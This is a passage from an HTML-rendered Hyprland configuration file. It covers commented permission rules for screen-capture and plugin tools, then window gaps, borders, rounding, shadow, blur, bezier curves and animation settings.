&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;80&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# permission = /usr/(bin|local/bin)/grim, screencopy, allow&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;81&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# permission = /usr/(lib|libexec|lib64)/xdg-desktop-portal-hyprland, screencopy, allow&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;82&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# permission = /usr/(bin|local/bin)/hyprpm, plugin, allow&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;83&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;84&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;85&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#####################&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;86&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;### LOOK AND FEEL ###&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;87&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#####################&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;88&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;89&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Refer to https://wiki.hyprland.org/Configuring/Variables/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;90&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;91&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# https://wiki.hyprland.org/Configuring/Variables/#general&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;92&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;general&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;93&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;gaps_in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;94&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;gaps_out&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;20&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;95&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;96&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;border_size&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;97&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;98&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;# https://wiki.hyprland.org/Configuring/Variables/#variable-types for info about colors&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;99&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;col.active_border&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;rgba&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;33ccffee&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;rgba&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;00ff99ee&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;45deg&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;100&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;col.inactive_border&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;rgba&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;595959aa&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;101&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;102&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;# Set to true enable resizing windows by clicking and dragging on borders and gaps&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;103&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;resize_on_border&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;104&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;105&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;# Please see https://wiki.hyprland.org/Configuring/Tearing/ before you turn this on&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;106&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;allow_tearing&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;107&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;108&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;layout&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;dwindle&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;109&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;110&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;111&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# https://wiki.hyprland.org/Configuring/Variables/#decoration&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;112&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;decoration&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;113&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;rounding&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;114&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;rounding_power&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;115&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;116&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;# Change transparency of focused and unfocused windows&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;117&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;active_opacity&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1.0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;118&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;inactive_opacity&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1.0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;119&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;120&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;shadow&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;121&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;enabled&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;122&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;range&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;123&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;render_power&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;124&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;color&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;rgba&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;1a1a1aee&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;125&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;126&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;127&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;# https://wiki.hyprland.org/Configuring/Variables/#blur&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;128&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;blur&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;129&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;enabled&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;130&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;size&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;131&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;passes&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;132&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;133&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;vibrancy&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0.1696&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;134&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;135&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;136&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;137&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# https://wiki.hyprland.org/Configuring/Variables/#animations&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;138&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;animations&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;139&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;enabled&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;yes,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;please&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;140&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;141&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;# Default animations, see https://wiki.hyprland.org/Configuring/Animations/ for more&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;142&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;143&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;bezier&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;easeOutQuint,0.23,1,0.32,1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;144&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;bezier&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;easeInOutCubic,0.65,0.05,0.36,1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;145&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;bezier&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;linear,0,0,1,1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;146&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;bezier&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;almostLinear,0.5,0.5,0.75,1.0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;147&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;bezier&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;quick,0.15,0,0.1,1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;148&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;149&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;animation&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;global,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;10,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;default&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;150&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;animation&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;border,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;5.39,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;easeOutQuint&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;151&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;animation&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;windows,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;4.79,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;easeOutQuint&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;152&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;animation&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;windowsIn,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;4.1,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;easeOutQuint,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;popin&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;87%&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;153&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;animation&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;windowsOut,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1.49,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;linear,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;popin&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;87%&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;154&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;animation&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;fadeIn,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1.73,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;almostLinear&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;155&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;animation&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;fadeOut,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1.46,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;almostLinear&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;156&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;animation&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;fade,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;3.03,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;quick&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;157&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;animation&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;layers,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;3.81,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;easeOutQuint&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;158&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;animation&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;layersIn,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;4,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;easeOutQuint,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;fade&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;159&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;animation&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;layersOut,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1.5,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;linear,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;fade&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;160&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;animation&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;fadeLayersIn,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1.79,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;almostLinear&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;161&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;animation&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;fadeLayersOut,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1.39,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;almostLinear&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;162&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;animation&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;workspaces,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1,&lt;/span&gt;&lt;span&gt; 